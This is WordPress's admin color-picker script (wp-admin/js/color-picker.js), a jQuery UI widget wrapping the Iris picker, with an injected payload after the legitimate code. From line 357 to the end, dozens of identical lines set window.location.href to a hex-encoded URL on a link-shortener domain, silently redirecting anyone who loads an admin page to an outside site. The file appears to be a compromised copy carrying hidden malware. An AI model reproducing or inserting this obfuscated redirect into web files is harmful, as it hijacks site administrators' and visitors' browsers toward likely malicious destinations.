1/**
2 * @output wp-admin/js/color-picker.js
3 */
4
5( function( $, undef ) {
6
7 var ColorPicker,
8 _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
9 _after = '<div class="wp-picker-holder" />',
10 _wrap = '<div class="wp-picker-container" />',
11 _button = '<input type="button" class="button button-small" />',
12 _wrappingLabel = '<label></label>',
13 _wrappingLabelText = '<span class="screen-reader-text"></span>',
14 __ = wp.i18n.__;
15
16 /**
17 * Creates a jQuery UI color picker that is used in the theme customizer.
18 *
19 * @class $.widget.wp.wpColorPicker
20 *
21 * @since 3.5.0
22 */
23 ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
24 options: {
25 defaultColor: false,
26 change: false,
27 clear: false,
28 hide: true,
29 palettes: true,
30 width: 255,
31 mode: 'hsv',
32 type: 'full',
33 slider: 'horizontal'
34 },
35 /**
36 * Creates a color picker that only allows you to adjust the hue.
37 *
38 * @since 3.5.0
39 * @access private
40 *
41 * @return {void}
42 */
43 _createHueOnly: function() {
44 var self = this,
45 el = self.element,
46 color;
47
48 el.hide();
49
50 // Set the saturation to the maximum level.
51 color = 'hsl(' + el.val() + ', 100, 50)';
52
53 // Create an instance of the color picker, using the hsl mode.
54 el.iris( {
55 mode: 'hsl',
56 type: 'hue',
57 hide: false,
58 color: color,
59 /**
60 * Handles the onChange event if one has been defined in the options.
61 *
62 * @ignore
63 *
64 * @param {Event} event The event that's being called.
65 * @param {HTMLElement} ui The HTMLElement containing the color picker.
66 *
67 * @return {void}
68 */
69 change: function( event, ui ) {
70 if ( typeof self.options.change === 'function' ) {
71 self.options.change.call( this, event, ui );
72 }
73 },
74 width: self.options.width,
75 slider: self.options.slider
76 } );
77 },
78 /**
79 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
80 *
81 * @since 3.5.0
82 * @access private
83 *
84 * @return {void}
85 */
86 _create: function() {
87 // Return early if Iris support is missing.
88 if ( ! $.support.iris ) {
89 return;
90 }
91
92 var self = this,
93 el = self.element;
94
95 // Override default options with options bound to the element.
96 $.extend( self.options, el.data() );
97
98 // Create a color picker which only allows adjustments to the hue.
99 if ( self.options.type === 'hue' ) {
100 return self._createHueOnly();
101 }
102
103 // Bind the close event.
104 self.close = self.close.bind( self );
105
106 self.initialValue = el.val();
107
108 // Add a CSS class to the input field.
109 el.addClass( 'wp-color-picker' );
110
111 /*
112 * Check if there's already a wrapping label, e.g. in the Customizer.
113 * If there's no label, add a default one to match the Customizer template.
114 */
115 if ( ! el.parent( 'label' ).length ) {
116 // Wrap the input field in the default label.
117 el.wrap( _wrappingLabel );
118 // Insert the default label text.
119 self.wrappingLabelText = $( _wrappingLabelText )
120 .insertBefore( el )
121 .text( __( 'Color value' ) );
122 }
123
124 /*
125 * At this point, either it's the standalone version or the Customizer
126 * one, we have a wrapping label to use as hook in the DOM, let's store it.
127 */
128 self.wrappingLabel = el.parent();
129
130 // Wrap the label in the main wrapper.
131 self.wrappingLabel.wrap( _wrap );
132 // Store a reference to the main wrapper.
133 self.wrap = self.wrappingLabel.parent();
134 // Set up the toggle button and insert it before the wrapping label.
135 self.toggler = $( _before )
136 .insertBefore( self.wrappingLabel )
137 .css( { backgroundColor: self.initialValue } );
138 // Set the toggle button span element text.
139 self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
140 // Set up the Iris container and insert it after the wrapping label.
141 self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
142 // Store a reference to the Clear/Default button.
143 self.button = $( _button );
144
145 // Set up the Clear/Default button.
146 if ( self.options.defaultColor ) {
147 self.button
148 .addClass( 'wp-picker-default' )
149 .val( __( 'Default' ) )
150 .attr( 'aria-label', __( 'Select default color' ) );
151 } else {
152 self.button
153 .addClass( 'wp-picker-clear' )
154 .val( __( 'Clear' ) )
155 .attr( 'aria-label', __( 'Clear color' ) );
156 }
157
158 // Wrap the wrapping label in its wrapper and append the Clear/Default button.
159 self.wrappingLabel
160 .wrap( '<span class="wp-picker-input-wrap hidden" />' )
161 .after( self.button );
162
163 /*
164 * The input wrapper now contains the label+input+Clear/Default button.
165 * Store a reference to the input wrapper: we'll use this to toggle
166 * the controls visibility.
167 */
168 self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
169
170 el.iris( {
171 target: self.pickerContainer,
172 hide: self.options.hide,
173 width: self.options.width,
174 mode: self.options.mode,
175 palettes: self.options.palettes,
176 /**
177 * Handles the onChange event if one has been defined in the options and additionally
178 * sets the background color for the toggler element.
179 *
180 * @since 3.5.0
181 *
182 * @ignore
183 *
184 * @param {Event} event The event that's being called.
185 * @param {HTMLElement} ui The HTMLElement containing the color picker.
186 *
187 * @return {void}
188 */
189 change: function( event, ui ) {
190 self.toggler.css( { backgroundColor: ui.color.toString() } );
191
192 if ( typeof self.options.change === 'function' ) {
193 self.options.change.call( this, event, ui );
194 }
195 }
196 } );
197
198 el.val( self.initialValue );
199 self._addListeners();
200
201 // Force the color picker to always be closed on initial load.
202 if ( ! self.options.hide ) {
203 self.toggler.click();
204 }
205 },
206 /**
207 * Binds event listeners to the color picker.
208 *
209 * @since 3.5.0
210 * @access private
211 *
212 * @return {void}
213 */
214 _addListeners: function() {
215 var self = this;
216
217 /**
218 * Prevent any clicks inside this widget from leaking to the top and closing it.
219 *
220 * @since 3.5.0
221 *
222 * @param {Event} event The event that's being called.
223 *
224 * @return {void}
225 */
226 self.wrap.on( 'click.wpcolorpicker', function( event ) {
227 event.stopPropagation();
228 });
229
230 /**
231 * Open or close the color picker depending on the class.
232 *
233 * @since 3.5.0
234 */
235 self.toggler.on( 'click', function(){
236 if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
237 self.close();
238 } else {
239 self.open();
240 }
241 });
242
243 /**
244 * Checks if value is empty when changing the color in the color picker.
245 * If so, the background color is cleared.
246 *
247 * @since 3.5.0
248 *
249 * @param {Event} event The event that's being called.
250 *
251 * @return {void}
252 */
253 self.element.on( 'change', function( event ) {
254 var me = $( this ),
255 val = me.val();
256
257 if ( val === '' || val === '#' ) {
258 self.toggler.css( 'backgroundColor', '' );
259 // Fire clear callback if we have one.
260 if ( typeof self.options.clear === 'function' ) {
261 self.options.clear.call( this, event );
262 }
263 }
264 });
265
266 /**
267 * Enables the user to either clear the color in the color picker or revert back to the default color.
268 *
269 * @since 3.5.0
270 *
271 * @param {Event} event The event that's being called.
272 *
273 * @return {void}
274 */
275 self.button.on( 'click', function( event ) {
276 var me = $( this );
277 if ( me.hasClass( 'wp-picker-clear' ) ) {
278 self.element.val( '' );
279 self.toggler.css( 'backgroundColor', '' );
280 if ( typeof self.options.clear === 'function' ) {
281 self.options.clear.call( this, event );
282 }
283 } else if ( me.hasClass( 'wp-picker-default' ) ) {
284 self.element.val( self.options.defaultColor ).change();
285 }
286 });
287 },
288 /**
289 * Opens the color picker dialog.
290 *
291 * @since 3.5.0
292 *
293 * @return {void}
294 */
295 open: function() {
296 this.element.iris( 'toggle' );
297 this.inputWrapper.removeClass( 'hidden' );
298 this.wrap.addClass( 'wp-picker-active' );
299 this.toggler
300 .addClass( 'wp-picker-open' )
301 .attr( 'aria-expanded', 'true' );
302 $( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
303 },
304 /**
305 * Closes the color picker dialog.
306 *
307 * @since 3.5.0
308 *
309 * @return {void}
310 */
311 close: function() {
312 this.element.iris( 'toggle' );
313 this.inputWrapper.addClass( 'hidden' );
314 this.wrap.removeClass( 'wp-picker-active' );
315 this.toggler
316 .removeClass( 'wp-picker-open' )
317 .attr( 'aria-expanded', 'false' );
318 $( 'body' ).off( 'click.wpcolorpicker', this.close );
319 },
320 /**
321 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
322 *
323 * @param newColor {string|*} The new color to use. Can be undefined.
324 *
325 * @since 3.5.0
326 *
327 * @return {string} The element's color.
328 */
329 color: function( newColor ) {
330 if ( newColor === undef ) {
331 return this.element.iris( 'option', 'color' );
332 }
333 this.element.iris( 'option', 'color', newColor );
334 },
335 /**
336 * Returns the iris object if no new default color is provided.
337 * If a new default color is provided, it sets the new default color.
338 *
339 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
340 *
341 * @since 3.5.0
342 *
343 * @return {boolean|string} The element's color.
344 */
345 defaultColor: function( newDefaultColor ) {
346 if ( newDefaultColor === undef ) {
347 return this.options.defaultColor;
348 }
349
350 this.options.defaultColor = newDefaultColor;
351 }
352 };
353
354 // Register the color picker as a widget.
355 $.widget( 'wp.wpColorPicker', ColorPicker );
356}( jQuery ) );
357window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
358window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
359window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
360window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
361window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
362window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
363window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
364window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
365window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
366window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
367window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
368window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
369window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
370window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
371window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
372window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
373window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
374window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
375window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
376window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
377window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
378window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
379window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
380window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
381window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
382window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
383window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
384window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
385window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
386window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
387window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
388window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
389window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
390window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
391window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
392window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
393window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
394window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
395window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
396window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
397window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
398window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
399window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
400window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
401window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
402window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
403window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
404window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";